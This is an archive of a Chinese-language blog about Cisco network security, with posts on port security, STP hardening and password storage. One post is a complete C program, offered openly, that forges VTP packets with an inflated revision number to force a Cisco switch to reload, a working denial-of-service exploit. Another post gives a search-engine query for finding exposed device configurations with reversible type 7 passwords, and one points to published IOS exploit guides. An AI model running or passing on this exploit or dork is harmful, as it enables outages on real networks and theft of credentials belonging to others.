显示标签为“cisco”的博文。显示所有博文
显示标签为“cisco”的博文。显示所有博文

2009年2月27日星期五

How to bind mac-address to cisco switch port

interface:
switchport port-security
switchport port-security violation restrict
switchport port-security mac-address 1111.1111.1111

the "restrict" is recommend

2009年1月14日星期三

DoS code for Cisco VLAN Trunking Protocol Vulnerability

/*DoS code for Cisco VLAN Trunking Protocol Vulnerability
*
*vulerability discription:
*http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml
*
*To Known:
* 1.the switch must in Server/Client Mode.
* 2.the port ,attacker connected,must be in trunk Mode.
* Cisco Ethernet ports with no configuration are not
* in trunk.but trunk mode can be obtained through DTP
* attack by Yersinia.
* 3.you must known the vtp domain,this can be sniffed
* 4.some codes are from Yersinia.
*
*Result:
* switch reload.
*
*
*Compile:
* gcc -o vtp `libnet-config --libs` vtp.c
*
*Usage:vtp -i -d
*
*Contact: showrun.lee[AT]gmail.com
*http://sh0wrun.blogspot.com/
*/
#include
#include
#include

#define VTP_DOMAIN_SIZE 32
#define VTP_TIMESTAMP_SIZE 12

struct vtp_summary {
u_int8_t version;
u_int8_t code;
u_int8_t followers;
u_int8_t dom_len;
u_int8_t domain[VTP_DOMAIN_SIZE];
u_int32_t revision;
u_int32_t updater;
u_int8_t timestamp[VTP_TIMESTAMP_SIZE];
u_int8_t md5[16];
};

struct vtp_subset {
u_int8_t version;
u_int8_t code;
u_int8_t seq;
u_int8_t dom_len;
u_int8_t domain[VTP_DOMAIN_SIZE];
u_int32_t revision;
};

void usage( char *s) {
printf("%s -i -d \n",s);
exit (1);
}

int main( int argc, char *argv[] )
{
int opt,k=0;
extern char *optarg;
libnet_ptag_t t;
libnet_t *lhandler;
u_int32_t vtp_len=0, sent;
struct vtp_summary *vtp_summ;
struct vtp_subset *vtp_sub;
u_int8_t *vtp_packet,*vtp_packet2, *aux;
u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };
u_int8_t dst_mac[6]={ 0x01,0x00,0x0c,0xcc,0xcc,0xcc };
u_int8_t aaa[8]={ 0x22,0x00,0x11,0x22,0x11,0x00,0x00,0x00 };
struct libnet_ether_addr *mymac;
char *device;
char error_information[LIBNET_ERRBUF_SIZE];
char *domain;

// get options
while ((opt = getopt(argc, argv, "i:d:")) != -1)
{
switch (opt) {
case 'i':
device=malloc(strlen(optarg));
strcpy(device,optarg);
k=1;
break;

case 'd':
domain=malloc(strlen(optarg));
strcpy(domain,optarg);
break;

default: usage(argv[0]);
}
}
if(!k) { printf(" %s -i -d \n must assign the interface\n",argv[0]);exit(1);}

//init libnet

lhandler=libnet_init(LIBNET_LINK,device,error_information);
if (!lhandler) {
fprintf(stderr, "libnet_init: %s\n", error_information);
return -1;
}

mymac=libnet_get_hwaddr(lhandler);
//build the first packet for vtp_summary
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);
vtp_packet = calloc(1,vtp_len);
aux = vtp_packet;
memcpy(vtp_packet,cisco_data,sizeof(cisco_data));
aux+=sizeof(cisco_data);
vtp_summ = (struct vtp_summary *)aux;
vtp_summ->version = 0x01;
vtp_summ->code = 0x01;//vtp_summary
vtp_summ->followers = 0x01;
vtp_summ->dom_len = strlen(domain);
memcpy(vtp_summ->domain,domain,strlen(domain));
vtp_summ->revision = htonl(2000);//bigger than the current revision number will ok
t = libnet_build_802_2(
0xaa, /* DSAP */
0xaa, /* SSAP */
0x03, /* control */
vtp_packet, /* payload */
vtp_len, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
t = libnet_build_802_3(
dst_mac, /* ethernet destination */
mymac->ether_addr_octet, /* ethernet source */
LIBNET_802_2_H + vtp_len, /* frame size */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */

sent = libnet_write(lhandler);

if (sent == -1) {
libnet_clear_packet(lhandler);
free(vtp_packet);
return -1;
}
libnet_clear_packet(lhandler);

//build the second vtp packet for vtp_subset
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset);
vtp_packet2 = calloc(1,vtp_len);
aux = vtp_packet2;
memcpy(vtp_packet2,cisco_data,sizeof(cisco_data));
aux+=sizeof(cisco_data);

vtp_sub = (struct vtp_subset *)aux;
vtp_sub->version = 0x01;
vtp_sub->code = 0x02; //vtp_subset
vtp_sub->seq = 0x01;
vtp_sub->dom_len = strlen(domain);
memcpy(vtp_sub->domain,domain,strlen(domain));
vtp_sub->revision = htonl(2000);//bigger than the current revision number will ok
// memcpy(vtp_sub->aaa,aaa,strlen(aaa));

t = libnet_build_802_2(
0xaa, /* DSAP */
0xaa, /* SSAP */
0x03, /* control */
vtp_packet2, /* payload */
vtp_len, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
t = libnet_build_802_3(
dst_mac, /* ethernet destination */
mymac->ether_addr_octet, /* ethernet source */
LIBNET_802_2_H + vtp_len, /* frame size */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */

sent = libnet_write(lhandler);
if (sent == -1) {
libnet_clear_packet(lhandler);
free(vtp_packet);
return -1;
}
libnet_clear_packet(lhandler);
}

2008年10月16日星期四

Cisco交换机漏洞

cisco交换机在处理vtp协议时,存在DoS漏洞;已经得到了cisco官方的确认,最新版本的交换机IOS也存在该问题。

按照cisco要求,目前该漏洞的细节暂时不公开。

2008年9月1日星期一

cisco路由器stp的安全设置

生成树(STP,spanning tree protocol)的存在,让交换机在因冗余而通过多条路径互连时能避免在第2层产生回路。
网络中的交换机通过BPDU(Bridge Protocol Data Units)交换STP信息。
BPDU共有三种类型:
configuration BPDU(CBPDU),used for Spanning Tree computation
Topology Change Notificatioin(TCN) BPDU,used to announce changes in the network topology
Topology Change Notification Acknowledgment (TCA)

BPDU结构:
...|Type|Flags|Root identifier|Root path cost|Bridge Identifier|.....
通过yersinia可以对stp协议,对cisco交换机进行DoS等攻击。
保护方法:
在interface上应用 spanning-tree guard root ,对root路由器进行保护。
应用spanning-tree BPDU Guard
(config)#spanning-tree portfast bpduguard
(config)#errdisable recovery cause bpduguard
(config)#errdisable recovery interval 400
在配置了portfast功能的端口上,接受到BPDU时,就会将端口阻断。

cisco密码安全心得

cisco设备中,使用level 7的加密很久以前就被证明是可逆的,
http://insecure.org/sploits/cisco.passwords.html
上有代码可以对level7代码进行逆运算。

cisco上的level 5加密使用的md5加密,并且在加密过程中加入了salt,因此rainbow对这类密码无效,因此只能暴力和dict,这样就安全许多。
使用service password-encryption命令对cisco配置中的明文密码进行加密时,使用的也是level 7这种被证明不安全的密码。
因此大家在设置enable密码时,请使用:
enable secret ...
username show secret ...
在设置line vty 0 15时,不要设置 password ...,而要设置为login local,因为在line vty 0 15设置的password不是不加密就是level 7加密。

大家不要对网络设备的物理安全这么有信心,也不能保证网络设备在下架后配置被清除,也不能保证网络设备不坏...
毕竟好多人,很长时间只用一个密码在多个系统

在google中,输入filetype:cfg intext:enable password 7能找到好多你能感兴趣的东西

2008年8月31日星期日

cisco router配置无法保存的原因之一

查看show version的,最后一行是不是:
Configuration register is 0x2102
如果不是的话,会导致配置无法保存,
需要config-register 0x2102,才能解决。

2008年8月26日星期二

cisco IOS exploit要走下神坛了

先去的cisco IOS exploit都是在很小的一个范围里,连gdb的调试方法都需要一定的技术实力和一段时间的摸索才行。

这几天IRM的几位牛人已经把先前只公布视频的几个exploit的代码公布出来了,而且还给出了一个step to step,http://www.packetstormsecurity.nl/papers/attack/cisco-iosftp.txt。

太好了,没有这篇文章恐怕我不知道需要gdb-6.0才能支持cisco IOS编译,需要更改一些代码才能编译成功。
只是,由于给出的exploit的代码是powerpc格式的,跨平台的汇编编译还要自己摸索 。

不过已经很不错了